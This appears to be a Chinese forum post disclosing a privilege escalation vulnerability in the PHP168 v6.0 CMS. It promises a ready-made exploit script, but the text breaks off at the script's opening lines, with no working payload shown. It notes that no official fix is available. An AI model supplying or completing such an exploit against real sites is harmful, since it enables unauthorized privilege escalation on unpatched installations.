Php168 v6 权限提升漏洞

天天上班,好久没在论坛发贴了... 以前发过一个php168 v2008的权限提升漏洞,这次的漏洞也出在相同的代码段,直接给出exp,里面的一些细节还是有些意思的,有兴趣的同学可以自行分析: mail:[email protected] PHP168 V6.0 暂无 请关注官方网址：http://www.php168.com/ !/usr/bin/php ?php printr' +---------------------------------------------------------------------------+ Php168 v6.0 update user...